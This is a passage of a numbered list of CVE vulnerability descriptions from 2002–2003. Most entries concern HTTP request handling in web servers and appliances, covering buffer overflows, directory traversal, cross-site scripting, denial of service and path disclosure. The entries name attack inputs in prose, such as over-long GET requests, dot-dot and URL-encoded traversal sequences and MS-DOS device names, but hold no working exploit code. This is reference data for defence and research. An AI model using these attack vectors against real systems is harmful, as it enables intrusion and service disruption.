13566| [CVE-2003-0742] SCO Internet Manager (mana) allows local users to execute arbitrary programs by setting the REMOTE_ADDR environment variable to cause menu.mana to run as if it were called from ncsa_httpd, then modifying the PATH environment variable to point to a malicious "hostname" program.
13567| [CVE-2003-0651] Buffer overflow in the mylo_log logging function for mod_mylo 0.2.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
13568| [CVE-2003-0647] Buffer overflow in the HTTP server for Cisco IOS 12.2 and earlier allows remote attackers to execute arbitrary code via an extremely long (2GB) HTTP GET request.
13569| [CVE-2003-0636] Novell iChain 2.2 before Support Pack 1 does not properly verify that URL redirects match the DNS name of an accelerator, which allows attackers to redirect URLs to malicious web sites.
13570| [CVE-2003-0629] Cross-site scripting (XSS) vulnerability in PeopleSoft IScript environment for PeopleTools 8.43 and earlier allows remote attackers to insert arbitrary web script via a certain HTTP request to IScript.
13571| [CVE-2003-0628] PeopleSoft Gateway Administration servlet (gateway.administration) in PeopleTools 8.43 and earlier allows remote attackers to obtain the full pathnames for server-side include (SSI) files via an HTTP request with an invalid value.
13572| [CVE-2003-0610] Directory traversal vulnerability in ePO agent for McAfee ePolicy Orchestrator 3.0 allows remote attackers to read arbitrary files via a certain HTTP request.
13573| [CVE-2003-0586] Brooky eStore 1.0.1 through 1.0.2b allows remote attackers to obtain sensitive path information via a direct HTTP request to settings.inc.php.
13574| [CVE-2003-0502] Apple QuickTime / Darwin Streaming Server before 4.1.3g allows remote attackers to cause a denial of service (crash) via a .. (dot dot) sequence followed by an MS-DOS device name (e.g. AUX) in a request to HTTP port 1220, a different vulnerability than CVE-2003-0421.
13575| [CVE-2003-0475] Directory traversal vulnerability in iWeb Server 2 allows remote attackers to read arbitrary files via an HTTP request containing URL-encoded .. sequences ("%5c%2e%2e"), a different vulnerability than CVE-2003-0474.
13576| [CVE-2003-0474] Directory traversal vulnerability in iWeb Server allows remote attackers to read arbitrary files via an HTTP request containing .. sequences, a different vulnerability than CVE-2003-0475.
13577| [CVE-2003-0471] Buffer overflow in WebAdmin.exe for WebAdmin allows remote attackers to execute arbitrary code via an HTTP request to WebAdmin.dll with a long USER argument.
13578| [CVE-2003-0459] KDE Konqueror for KDE 3.1.2 and earlier does not remove authentication credentials from URLs of the "user:password@host" form in the HTTP-Referer header, which could allow remote web sites to steal the credentials for pages that link to the sites.
13579| [CVE-2003-0447] The Custom HTTP Errors capability in Internet Explorer 5.01, 5.5 and 6.0 allows remote attackers to execute script in the Local Zone via an argument to shdocvw.dll that causes a "javascript:" link to be generated.
13580| [CVE-2003-0445] Buffer overflow in webfs before 1.17.1 allows remote attackers to execute arbitrary code via an HTTP request with a long Request-URI.
13581| [CVE-2003-0425] Directory traversal vulnerability in Apple QuickTime / Darwin Streaming Server before 4.1.3f allows remote attackers to read arbitrary files via a ... (triple dot) in an HTTP request.
13582| [CVE-2003-0424] Apple QuickTime / Darwin Streaming Server before 4.1.3f allows remote attackers to obtain the source code for scripts by appending encoded space (%20) or . (%2e) characters to an HTTP request for the script, e.g. view_broadcast.cgi.
13583| [CVE-2003-0421] Apple QuickTime / Darwin Streaming Server before 4.1.3f allows remote attackers to cause a denial of service (crash) via an MS-DOS device name (e.g. AUX) in a request to HTTP port 1220, a different vulnerability than CVE-2003-0502.
13584| [CVE-2003-0413] Cross-site scripting (XSS) vulnerability in the webapps-simple sample application for (1) Sun ONE Application Server 7.0 for Windows 2000/XP or (2) Sun Java System Web Server 6.1 allows remote attackers to insert arbitrary web script or HTML via an HTTP request that generates an "Invalid JSP file" error, which inserts the text in the resulting error message.
13585| [CVE-2003-0412] Sun ONE Application Server 7.0 for Windows 2000/XP does not log the complete URI of a long HTTP request, which could allow remote attackers to hide malicious activities.
13586| [CVE-2003-0409] Buffer overflow in BRS WebWeaver 1.04 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP (1) POST or (2) HEAD request.
13587| [CVE-2003-0405] Vignette StoryServer 5 and Vignette V/6 allows remote attackers to execute arbitrary TCL code via (1) an HTTP query or cookie which is processed in the NEEDS command, or (2) an HTTP Referrer that is processed in the VALID_PATHS command.
13588| [CVE-2003-0395] Ultimate PHP Board (UPB) 1.9 allows remote attackers to execute arbitrary PHP code with UPB administrator privileges via an HTTP request containing the code in the User-Agent header, which is executed when the administrator executes admin_iplog.php.
13589| [CVE-2003-0339] Multiple heap-based buffer overflows in WsMp3 daemon (WsMp3d) 0.0.10 and earlier allow remote attackers to execute arbitrary code via long HTTP requests.
13590| [CVE-2003-0338] Directory traversal vulnerability in WsMp3 daemon (WsMp3d) 0.0.10 and earlier allows remote attackers to read and execute arbitrary files via .. (dot dot) sequences in HTTP GET or POST requests.
13591| [CVE-2003-0317] iisPROTECT 2.1 and 2.2 allows remote attackers to bypass authentication via an HTTP request containing URL-encoded characters.
13592| [CVE-2003-0315] Snowblind Web Server 1.0 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP request, which may trigger a buffer overflow.
13593| [CVE-2003-0313] Directory traversal vulnerability in Snowblind Web Server 1.0 allows remote attackers to list arbitrary directory contents via a ... (triple dot) in an HTTP request.
13594| [CVE-2003-0312] Directory traversal vulnerability in Snowblind Web Server 1.0 allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP request.
13595| [CVE-2003-0291] 3com OfficeConnect Remote 812 ADSL Router 1.1.7 does not properly clear memory from DHCP responses, which allows remote attackers to identify the contents of previous HTTP requests by sniffing DHCP packets.
13596| [CVE-2003-0249] ** DISPUTED ** PHP treats unknown methods such as "PoSt" as a GET request, which could allow attackers to intended access restrictions if PHP is running on a server that passes on all methods, such as Apache httpd 2.0, as demonstrated using a Limit directive. NOTE: this issue has been disputed by the Apache security team, saying "It is by design that PHP allows scripts to process any request method. A script which does not explicitly verify the request method will hence be processed as normal for arbitrary methods. It is therefore expected behaviour that one cannot implement per-method access control using the Apache configuration alone, which is the assumption made in this report."
13597| [CVE-2003-0240] The web-based administration capability for various Axis Network Camera products allows remote attackers to bypass access restrictions and modify configuration via an HTTP request to the admin/admin.shtml containing a leading // (double slash).
13598| [CVE-2003-0218] Buffer overflow in PostMethod() function for Monkey HTTP Daemon (monkeyd) 0.6.1 and earlier allows remote attackers to execute arbitrary code via a POST request with a large body.
13599| [CVE-2003-0181] Lotus Domino Web Server (nhttp.exe) before 6.0.1 allows remote attackers to cause a denial of service via a "Fictionary Value Field POST request" as demonstrated using the s_Validation form with a long, unknown parameter name.
13600| [CVE-2003-0180] Lotus Domino Web Server (nhttp.exe) before 6.0.1 allows remote attackers to cause a denial of service via an incomplete POST request, as demonstrated using the h_PageUI form.
13601| [CVE-2003-0123] Buffer overflow in Web Retriever client for Lotus Notes/Domino R4.5 through R6 allows remote malicious web servers to cause a denial of service (crash) via a long HTTP status line.
13602| [CVE-2003-0117] Buffer overflow in the HTTP receiver function (BizTalkHTTPReceive.dll ISAPI) of Microsoft BizTalk Server 2002 allows attackers to execute arbitrary code via a certain request to the HTTP receiver.
13603| [CVE-2003-0113] Buffer overflow in URLMON.DLL in Microsoft Internet Explorer 5.01, 5.5 and 6.0 allows remote attackers to execute arbitrary code via an HTTP response containing long values in (1) Content-type and (2) Content-encoding fields.
13604| [CVE-2003-0106] The HTTP proxy for Symantec Enterprise Firewall (SEF) 7.0 allows proxy users to bypass pattern matching for blocked URLs via requests that are URL-encoded with escapes, Unicode, or UTF-8.
13605| [CVE-2003-0105] ServerMask 2.2 and earlier does not obfuscate (1) ETag, (2) HTTP Status Message, or (3) Allow HTTP responses, which could tell remote attackers that the web server is an IIS server.
13606| [CVE-2003-0017] Apache 2.0 before 2.0.44 on Windows platforms allows remote attackers to obtain certain files via an HTTP request that ends in certain illegal characters such as ">", which causes a different filename to be processed and served.
13607| [CVE-2003-0016] Apache before 2.0.44, when running on unpatched Windows 9x and Me operating systems, allows remote attackers to cause a denial of service or execute arbitrary code via an HTTP request containing MS-DOS device names.
13608| [CVE-2002-2429] webs.c in GoAhead WebServer before 2.1.4 allows remote attackers to cause a denial of service (daemon crash) via an HTTP POST request that contains a negative integer in the Content-Length header.
13609| [CVE-2002-2428] webs.c in GoAhead WebServer before 2.1.4 allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via an HTTP POST request that contains a Content-Length header but no body data.
13610| [CVE-2002-2421] acWEB 1.14 allows remote attackers to cause a denial of service (crash) via an HTTP request for a MS-DOS device name such as COM2.
13611| [CVE-2002-2414] Opera 6.0.3, when using Squid 2.4 for HTTPS proxying, does not properly handle when accepting a non-global certificate authority (CA) certificate from a site and establishing a subsequent HTTPS connection, which allows remote attackers to cause a denial of service (crash).
13612| [CVE-2002-2412] Winamp 2.80 stores authentication credentials in plaintext in the (1) [HTTP-AUTH] and (2) [winamp] sections in winamp.ini, which allows local users to gain access to other accounts.
13613| [CVE-2002-2406] Buffer overflow in HTTP server in LiteServe 2.0, 2.0.1 and 2.0.2 allows remote attackers to cause a denial of service (hang) via a large number of percent characters (%) in an HTTP GET request.
13614| [CVE-2002-2405] Check Point FireWall-1 4.1 and Next Generation (NG), with UserAuth configured to proxy HTTP traffic only, allows remote attackers to pass unauthorized HTTPS, FTP and possibly other traffic through the firewall.
13615| [CVE-2002-2400] Buffer overflow in the httpdProcessRequest function in LibHTTPD 1.2 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP POST request.
13616| [CVE-2002-2395] InterScan VirusWall 3.52 for Windows allows remote attackers to bypass virus protection and possibly execute arbitrary code via HTTP 1.1 gzip content encoding.
13617| [CVE-2002-2394] InterScan VirusWall 3.6 for Linux and 3.52 for Windows allows remote attackers to bypass virus protection and possibly execute arbitrary code via HTTP 1.1 chunked transfer encoding.
13618| [CVE-2002-2378] Cross-site scripting (XSS) vulnerability in AN HTTP 1.41d allows remote attackers to inject arbitrary web script or HTML via a colon (:) in the query string, which is inserted into the resulting error page.
13619| [CVE-2002-2330] Cross-site scripting (XSS) vulnerability in stat.pl in StatsPlus 1.25 allows remote attackers to inject arbitrary web script or HTML via (1) HTTP_USER_AGENT or (2) HTTP_REFERER, which is written to stats.html and executed in client browsers.
13620| [CVE-2002-2317] Memory leak in the (1) httpd, (2) nntpd, and (3) vpn driver in VelociRaptor 1.0 allows remote attackers to cause a denial of service (memory consumption) via an unknown method.
13621| [CVE-2002-2295] Buffer overflow in Pico Server (pServ) 2.0 beta 1 through beta 5 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via (1) a 1024-byte TCP stream message, which triggers an off-by-one buffer overflow, or (2) a long method name in an HTTP request, (3) a long version number in an HTTP request, (4) a long User-Agent header, or (5) a long file path.
13622| [CVE-2002-2292] Directory traversal vulnerability in Remote Console Applet in Halycon Software iASP 1.0.9 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP request to port 9095.
13623| [CVE-2002-2288] Mambo Site Server 4.0.11 allows remote attackers to obtain the physical path of the server via an HTTP request to index.php with a parameter that does not exist, which causes the path to be leaked in an error message.
13624| [CVE-2002-2286] The parse-get function in utils.c for apt-www-proxy 0.1 allows remote attackers to cause a denial of service (crash) via an empty HTTP request, which causes a null dereference.
13625| [CVE-2002-2273] Cross-site scripting (XSS) vulnerability in Webster HTTP Server allows remote attackers to inject arbitrary web script or HTML via the URL.
13626| [CVE-2002-2272] Tomcat 4.0 through 4.1.12, using mod_jk 1.2.1 module on Apache 1.3 through 1.3.27, allows remote attackers to cause a denial of service (desynchronized communications) via an HTTP GET request with a Transfer-Encoding chunked field with invalid values.
13627| [CVE-2002-2269] Directory traversal vulnerability in Webster HTTP Server allows remote attackers to read arbitrary files via a .. (dot dot) in the URL.
13628| [CVE-2002-2268] Buffer overflow in Webster HTTP Server allows remote attackers to execute arbitrary code via a long URL.
13629| [CVE-2002-2258] Moby NetSuite allows remote attackers to cause a denial of service (crash) via an HTTP POST request with a (1) large integer or (2) non-numeric value in the Content-Length header, which causes an access violation after a failed atoi function call.
13630| [CVE-2002-2246] Cross-site scripting (XSS) vulnerability in VisNetic Website before 3.5.15 allows remote attackers to inject arbitrary web script or HTML via the HTTP referer header (HTTP_REFERER) to a non-existent page, which is injected into the resulting 404 error page.
13631| [CVE-2002-2241] Buffer overflow in httpd32.exe in Deerfield VisNetic WebSite before 3.5.15 allows remote attackers to cause a denial of service (crash) via a long HTTP OPTIONS request.
13632| [CVE-2002-2240] Directory traversal vulnerability in MyServer 0.11 and 0.2 allows remote attackers to read arbitrary files via a ".." (dot dot) in an HTTP GET request.
13633| [CVE-2002-2229] Directory traversal vulnerability in Sapio Design Ltd. WebReflex 1.53 allows remote attackers to read arbitrary files via a .. in an HTTP request.
13634| [CVE-2002-2191] Lotus Domino 5.0.9a and earlier, even when configured with the 'DominoNoBanner=1' option, allows remote attackers to obtain potential sensitive information such as the version via a request for a non-existent .nsf database, which leaks the version in the HTTP banner.
13635| [CVE-2002-2190] ArtsCore Studios CuteCast Forum 1.2 stores passwords in plaintext under the web document root, which allows remote attackers to obtain the passwords via an HTTP request to a .user file.
13636| [CVE-2002-2177] BEA WebLogic Server and Express 6.1 through 7.0.0.1 buffers HTTP requests in a way that can cause BEA to send the same response for two different HTTP requests, which could allow remote attackers to obtain sensitive information that was intended for other users.
13637| [CVE-2002-2170] Working Resources Inc. BadBlue Enterprise Edition 1.7 through 1.74 attempts to restrict administrator actions to the IP address of the local host, but does not provide additional authentication, which allows remote attackers to execute arbitrary code via a web page containing an HTTP POST request that accesses the dir.hts page on the localhost and adds an entire hard drive to be shared.
13638| [CVE-2002-2169] Cross-site scripting vulnerability AOL Instant Messenger (AIM) 4.5 and 4.7 for MacOS and Windows allows remote attackers to conduct unauthorized activities, such as adding buddies and groups to a user's buddy list, via a URL with a META HTTP-EQUIV="refresh" tag to an aim: URL.
13639| [CVE-2002-2154] Directory traversal vulnerability in Monkey HTTP Daemon 0.1.4 allows remote attackers to read arbitrary files via .. (dot dot) sequences.
13640| [CVE-2002-2152] The Czech edition of Software602's Web Server before 2002.0.02.0916 allows remote attackers to gain administrator privileges via direct HTTP requests to the /admin/ directory, which is not password protected.
13641| [CVE-2002-2149] Buffer overflow in Lucent Access Point 300, 600, and 1500 Service Routers allows remote attackers to cause a denial of service (reboot) via a long HTTP request to the administrative interface.
13642| [CVE-2002-2146] cgitest.exe in Savant Web Server 3.1 and earlier allows remote attackers to cause a denial of service (crash) via a long HTTP request.
13643| [CVE-2002-2140] Buffer overflow in Cisco PIX Firewall 5.2.x to 5.2.8, 6.0.x to 6.0.3, 6.1.x to 6.1.3, and 6.2.x to 6.2.1 allows remote attackers to cause a denial of service via HTTP traffic authentication using (1) TACACS+ or (2) RADIUS.
13644| [CVE-2002-2131] Directory traversal vulnerability in Perl-HTTPd before 1.0.2 allows remote attackers to view arbitrary files via a .. (dot dot) in an unknown argument.
13645| [CVE-2002-2109] Matt Wright FormMail 1.9 and earlier allows remote attackers to bypass the HTTP_REFERER check and conduct unauthorized activities via (1) a blank referer, (2) a spoofed referer with a trusted domain/URL after the beginning of the referer, or (3) a spoofed referer with a trusted domain/URL in the beginning (hostname) portion of the referer.
13646| [CVE-2002-2096] Buffer overflow in Novell Remote Manager module, httpstk.nlm, in NetWare 5.1 and NetWare 6 allows remote attackers to execute arbitrary code via a long (1) username or (2) password.
13647| [CVE-2002-2085] Directory traversal vulnerability in page.cgi of WWWeBBB Forum 3.82 beta and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP request.
13648| [CVE-2002-2081] cphost.dll in Microsoft Site Server 3.0 allows remote attackers to cause a denial of service (disk consumption) via an HTTP POST of a file with a long TargetURL parameter, which causes Site Server to abort and leaves the uploaded file in c:\temp.
13649| [CVE-2002-2076] Directory traversal vulnerability in Lil' HTTP server 2.1 and 2.2 allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP GET request.
13650| [CVE-2002-2030] Stack-based buffer overflow in SQLData Enterprise Server 3.0 allows remote attacker to execute arbitrary code and cause a denial of service via a long HTTP request.
13651| [CVE-2002-2029] PHP, when installed on Windows with Apache and ScriptAlias for /php/ set to c:/php/, allows remote attackers to read arbitrary files and possibly execute arbitrary programs via an HTTP request for php.exe with a filename in the query string.
13652| [CVE-2002-2025] Lotus Domino server 5.0.9a and earlier allows remote attackers to cause a denial of service by exhausting the number of working threads via a large number of HTTP requests for (1) an MS-DOS device name and (2) an MS-DOS device name with a large number of characters appended to the device name.
13653| [CVE-2002-2024] Horde IMP 2.2.7 allows remote attackers to obtain the full web root pathname via an HTTP request for (1) poppassd.php3, (2) login.php3?reason=chpass2, (3) spelling.php3, and (4) ldap.search.php3?ldap_serv=nonsense which leaks the information in error messages.
13654| [CVE-2002-2014] Lotus Domino 5.0.8 web server returns different error messages when a valid or invalid user is provided in HTTP requests, which allows remote attackers to determine valid user names and makes it easier to conduct brute force attacks.
13655| [CVE-2002-2012] Unknown vulnerability in Apache 1.3.19 running on HP Secure OS for Linux 1.0 allows remote attackers to cause "unexpected results" via an HTTP request.
13656| [CVE-2002-2009] Apache Tomcat 4.0.1 allows remote attackers to obtain the web root path via HTTP requests for JSP files preceded by (1) +/, (2) >/, (3) </, and (4) %20/, which leaks the pathname in an error message.
13657| [CVE-2002-2008] Apache Tomcat 4.0.3 for Windows allows remote attackers to obtain the web root path via an HTTP request for a resource that does not exist, such as lpt9, which leaks the information in an error message.
13658| [CVE-2002-2007] The default installations of Apache Tomcat 3.2.3 and 3.2.4 allows remote attackers to obtain sensitive system information such as directory listings and web root path, via erroneous HTTP requests for Java Server Pages (JSP) in the (1) test/jsp, (2) samples/jsp and (3) examples/jsp directories, or the (4) test/realPath.jsp servlet, which leaks pathnames in error messages.
13659| [CVE-2002-1999] HP Praesidium Webproxy 1.0 running on HP-UX 11.04 VVOS could allow remote attackers to cause Webproxy to forward requests to the internal network via crafted HTTP requests.
13660| [CVE-2002-1994] advserver.exe in Advanced Web Server (AdvServer) Professional 1.030000 allows remote attackers to cause a denial of service via multiple HTTP requests containing a single carriage return/line feed (CRLF) sequence.
13661| [CVE-2002-1992] Buffer overflow in jrun.dll in ColdFusion MX, when used with IIS 4 or 5, allows remote attackers to cause a denial of service in IIS via (1) a long template file name or (2) a long HTTP header.
13662| [CVE-2002-1986] Perception LiteServe 2.0 through 2.0.1 allows remote attackers to obtain the source code of CGI scripts via an HTTP request with a trailing dot (".").
13663| [CVE-2002-1973] Buffer overflow in CHttpServer::OnParseError in the ISAPI extension (Isapi.cpp) when built using Microsoft Foundation Class (MFC) static libraries in Visual C++ 5.0, and 6.0 before SP3, as used in multiple products including BadBlue, allows remote attackers to cause a denial of service (access violation and crash) and possibly execute arbitrary code via a long query string that causes a parsing error.
13664| [CVE-2002-1965] Cross-site scripting (XSS) vulnerability in Errors.gsl in Imatix Xitami 2.5b4 and 2.5b5 allows remote attackers to inject arbitrary web script or HTML via the (1) Javascript events, as demonstrated via an onerror event in an IMG SRC tag or (2) User-Agent field in an HTTP GET request.
13665| [CVE-2002-1951] Buffer overflow in GoAhead WebServer 2.1 allows remote attackers to execute arbitrary code via a long HTTP GET request with a large number of subdirectories.
13666| [CVE-2002-1941] Buffer overflow in RadioBird WebServer 4 Everyone 1.28 allows remote attackers to cause a denial of service (crash) via a long HTTP GET request with the Host header set.
13667| [CVE-2002-1930] Buffer overflow in AN HTTPd 1.38 through 1.4.1c allows remote attackers to execute arbitrary code via a SOCKS4 request with a long username.
13668| [CVE-2002-1928] 602Pro LAN SUITE 2002 allows remote attackers to view the directory tree via an HTTP GET request with a trailing "~" (tilde) or ".bak" extension.
13669| [CVE-2002-1926] Directory traversal vulnerability in source.php in Aquonics File Manager 1.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP query string.
13670| [CVE-2002-1908] Microsoft IIS 5.0 and 5.1 allows remote attackers to cause a denial of service (CPU consumption) via an HTTP request with a Host header that contains a large number of "/" (forward slash) characters.
13671| [CVE-2002-1907] TelCondex SimpleWebServer 2.06.20817 allows remote attackers to cause a denial of service (crash) via a long HTTP GET request.
13672| [CVE-2002-1906] The web server for Polycom ViaVideo 2.2 and 3.0 allows remote attackers to cause a denial of service (CPU consumption) by sending incomplete HTTP requests and leaving the connections open.
13673| [CVE-2002-1905] Buffer overflow in the web server of Polycom ViaVideo 2.2 and 3.0 allows remote attackers to cause a denial of service (crash) via a long HTTP GET request.
13674| [CVE-2002-1904] Buffer overflow in the Log function in util.c in GazTek ghttpd 1.4 through 1.4.3 allows remote attackers to execute arbitrary code via a long HTTP GET request.
13675| [CVE-2002-1897] MyWebServer LLC MyWebServer 1.0.2 allows remote attackers to cause a denial of service (crash) via a long HTTP request, possibly triggering a buffer overflow.
13676| [CVE-2002-1895] The servlet engine in Jakarta Apache Tomcat 3.3 and 4.0.4, when using IIS and the ajp1.3 connector, allows remote attackers to cause a denial of service (crash) via a large number of HTTP GET requests for an MS-DOS device such as AUX, LPT1, CON, or PRN.
13677| [CVE-2002-1874] astrocam.cgi in AstroCam 0.9-1-1 through 1.4.0 allows remote attackers to execute arbitrary commands via shell metacharacters in an HTTP request. NOTE: earlier disclosures stated that the affected versions were 1.7.1 through 2.1.2, but the vendor explicitly stated that these were incorrect.
13678| [CVE-2002-1865] Buffer overflow in the Embedded HTTP server, as used in (1) D-Link DI-804 4.68, Dl-704 V2.56b6, and Dl-704 V2.56b5 and (2) Linksys Etherfast BEFW11S4 Wireless AP + Cable/DSL Router 1.37.2 through 1.42.7 and Linksys WAP11 1.3 and 1.4, allows remote attackers to cause a denial of service (crash) via a long header, as demonstrated using the Host header.
13679| [CVE-2002-1864] Directory traversal vulnerability in Simple Web Server (SWS) 0.0.4 through 0.1.0 allows remote attackers to read arbitrary files via a ".." (dot dot) in an HTTP request.
13680| [CVE-2002-1850] mod_cgi in Apache 2.0.39 and 2.0.40 allows local users and possibly remote attackers to cause a denial of service (hang and memory consumption) by causing a CGI script to send a large amount of data to stderr, which results in a read/write deadlock between httpd and the CGI script.
13681| [CVE-2002-1828] Savant Webserver 3.1 allows remote attackers to cause a denial of service (crash) via an HTTP GET request with a negative Content-Length value.
13682| [CVE-2002-1823] Buffer overflow in the HttpGetRequest function in Zeroo HTTP server 1.5 allows remote attackers to execute arbitrary code via a long HTTP request.
13683| [CVE-2002-1822] IBM HTTP Server 1.0 on AS/400 allows remote attackers to obtain the path to the web root directory and other sensitive information, which is leaked in an error mesage when a request is made for a non-existent Java Server Page (JSP).
13684| [CVE-2002-1819] Directory traversal vulnerability in TinyHTTPD 0.1 .0 allows remote attackers to read or execute arbitrary files via a ".." (dot dot) in the URL.
13685| [CVE-2002-1818] ezhttpbench.php in eZ httpbench 1.1 allows remote attackers to read arbitrary files via a full pathname in the AnalyseSite parameter.
13686| [CVE-2002-1816] Off-by-one buffer overflow in the sock_gets function in sockhelp.c for ATPhttpd 0.4b and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
13687| [CVE-2002-1793] HTTP Server mod_ssl module running on HP-UX 11.04 with Virtualvault OS (VVOS) 4.5 through 4.6 closes the connection when the Apache server times out during an SSL request, which may allow attackers to cause a denial of service.
13688| [CVE-2002-1783] CRLF injection vulnerability in PHP 4.2.1 through 4.2.3, when allow_url_fopen is enabled, allows remote attackers to modify HTTP headers for outgoing requests by causing CRLF sequences to be injected into arguments that are passed to the (1) fopen or (2) file functions.
13689| [CVE-2002-1718] Microsoft Internet Information Server (IIS) 5.1 may allow remote attackers to view the contents of a Frontpage Server Extension (FPSE) file, as claimed using an HTTP request for colegal.htm that contains .. (dot dot) sequences.
13690| [CVE-2002-1710] The attachment capability in Compose Mail in BasiliX Webmail 1.1.0 does not check whether the attachment was uploaded by the user or came from a HTTP POST, which could allow local users to steal sensitive information like a password file.
13691| [CVE-2002-1700] Cross-site scripting vulnerability (XSS) in the missing template handler in Macromedia ColdFusion MX allows remote attackers to execute arbitrary script as other users by injecting script into the HTTP request for the name of a template, which is not filtered in the resulting 404 error message.
13692| [CVE-2002-1663] The Post_Method function in method.c for Monkey HTTP Daemon before 0.5.1 allows remote attackers to cause a denial of service (crash) via a POST request with an invalid or missing Content-Length header value.
13693| [CVE-2002-1654] iPlanet Web Server Enterprise Edition and Netscape Enterprise Server 4.0 and 4.1 allows remote attackers to conduct HTTP Basic Authentication via the wp-force-auth Web Publisher command, which provides a distinct attack vector and may make it easier to conduct brute force password guessing without detection.
13694| [CVE-2002-1643] Multiple buffer overflows in RealNetworks Helix Universal Server 9.0 (9.0.2.768) allow remote attackers to execute arbitrary code via (1) a long Transport field in a SETUP RSTP request, (2) a DESCRIBE RSTP request with a long URL argument, or (3) two simultaneous HTTP GET requests with long arguments.
13695| [CVE-2002-1635] The Apache configuration file (httpd.conf) in Oracle 9i Application Server (9iAS) uses a Location alias for /perl directory instead of a ScriptAlias, which allows remote attackers to read the source code of arbitrary CGI files via a URL containing the /perl directory instead of /cgi-bin.
13696| [CVE-2002-1629] Multi-Tech ProxyServer products MTPSR1-100, MTPSR1-120, MTPSR1-202ST, MTPSR2-201, and MTPSR3-200 ship with a null password, which allows remote attackers to gain administrative privileges via Telnet or HTTP.
13697| [CVE-2002-1624] Buffer overflow in Lotus Domino web server before R5.0.10, when logging to DOMLOG.NSF, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP Authenticate header containing certain non-ASCII characters.
13698| [CVE-2002-1596] Cisco SN 5420 Storage Router 1.1(5) and earlier allows remote attackers to cause a denial of service (router crash) via an HTTP request with large headers.
13699| [CVE-2002-1562] Directory traversal vulnerability in thttpd, when using virtual hosting, allows remote attackers to read arbitrary files via .. (dot dot) sequences in the Host: header.
13700| [CVE-2002-1557] Cisco ONS15454 and ONS15327 running ONS before 3.4 allows attackers to cause a denial of service (reset to TCC, TCC+, TCCi or XTC) via a malformed HTTP request that does not contain a leading / (slash) character.
13701| [CVE-2002-1556] Cisco ONS15454 and ONS15327 running ONS before 3.4 allows attackers to cause a denial of service (reset) via an HTTP request to the TCC, TCC+ or XTC, in which the request contains an invalid CORBA Interoperable Object Reference (IOR).
13702| [CVE-2002-1549] Buffer overflow in Light HTTPd (lhttpd) 0.1 allows remote attackers to execute arbitrary code via a long HTTP GET request.
13703| [CVE-2002-1546] BRS WebWeaver Web Server 1.01 allows remote attackers to bypass password protections for files and directories via an HTTP request containing a "/./" sequence.
13704| [CVE-2002-1541] BadBlue 1.7 allows remote attackers to bypass password protections for directories and files via an HTTP request containing an extra / (slash).
13705| [CVE-2002-1533] Cross-site scripting (XSS) vulnerability in Jetty JSP servlet engine allows remote attackers to insert arbitrary HTML or script via an HTTP request to a .jsp file whose name contains the malicious script and some encoded linefeed characters (%0a).
13706| [CVE-2002-1531] The administrative web interface (STEMWADM) for SurfControl SuperScout Email Filter allows remote attackers to cause a denial of service (crash) via an HTTP request without a Content-Length parameter.
13707| [CVE-2002-1497] Cross-site scripting (XSS) vulnerability in Null HTTP Server 0.5.0 and earlier allows remote attackers to insert arbitrary HTML into a "404 Not Found" response.
13708| [CVE-2002-1496] Heap-based buffer overflow in Null HTTP Server 0.5.0 and earlier allows remote attackers to execute arbitrary code via a negative value in the Content-Length HTTP header.
13709| [CVE-2002-1489] Buffer overflow in PlanetDNS PlanetWeb 1.14 and earlier allows remote attackers to execute arbitrary code via (1) an HTTP GET request with a long URL or (2) a request with a long method name.
13710| [CVE-2002-1483] db4web_c and db4web_c.exe programs in DB4Web 3.4 and 3.6 allow remote attackers to read arbitrary files via an HTTP request whose argument is a filename of the form (1) C: (drive letter), (2) //absolute/path (double-slash), or (3) .. (dot-dot).
13711| [CVE-2002-1467] Macromedia Flash Plugin before 6,0,47,0 allows remote attackers to bypass the same-domain restriction and read arbitrary files via (1) an HTTP redirect, (2) a "file://" base in a web document, or (3) a relative URL from a web archive (mht file).
13712| [CVE-2002-1455] Multiple cross-site scripting (XSS) vulnerabilities in OmniHTTPd allow remote attackers to insert script or HTML into web pages via (1) test.php, (2) test.shtml, or (3) redir.exe.
13713| [CVE-2002-1451] Blazix before 1.2.2 allows remote attackers to read source code of JSP scripts or list restricted web directories via an HTTP request that ends in a (1) "+" or (2) "\" (backslash) character.
13714| [CVE-2002-1437] Directory traversal vulnerability in the web handler for Perl 5.003 on Novell NetWare 5.1 and NetWare 6 allows remote attackers to read arbitrary files via an HTTP request containing "..%5c" (URL-encoded dot-dot backslash) sequences.
13715| [CVE-2002-1436] The web handler for Perl 5.003 on Novell NetWare 5.1 and NetWare 6 allows remote attackers to execute arbitrary Perl code via an HTTP POST request.
13716| [CVE-2002-1405] CRLF injection vulnerability in Lynx 2.8.4 and earlier allows remote attackers to inject false HTTP headers into an HTTP request that is provided on the command line, via a URL containing encoded carriage return, line feed, and other whitespace characters.
13717| [CVE-2002-1383] Multiple integer overflows in Common Unix Printing System (CUPS) 1.1.14 through 1.1.17 allow remote attackers to execute arbitrary code via (1) the CUPSd HTTP interface, as demonstrated by vanilla-coke, and (2) the image handling code in CUPS filters, as demonstrated by mksun.
13718| [CVE-2002-1368] Common Unix Printing System (CUPS) 1.1.14 through 1.1.17 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code by causing negative arguments to be fed into memcpy() calls via HTTP requests with (1) a negative Content-Length value or (2) a negative length in a chunked transfer encoding.
13719| [CVE-2002-1353] LocalWEB2000 HTTP server 2.1.0 stores passwords in plain text under the web document root in users.lst, which allows remote attackers to obtain the passwords via a direct request to users.lst.
13720| [CVE-2002-1310] Heap-based buffer overflow in the error-handling mechanism for the IIS ISAPI handler in Macromedia JRun 4.0 and earlier allows remote attackers to execute arbitrary via an HTTP GET request with a long .jsp file name.
13721| [CVE-2002-1309] Heap-based buffer overflow in the error-handling mechanism for the IIS ISAPI handler in Macromedia ColdFusion 6.0 allows remote attackers to execute arbitrary via an HTTP GET request with a long .cfm file name.
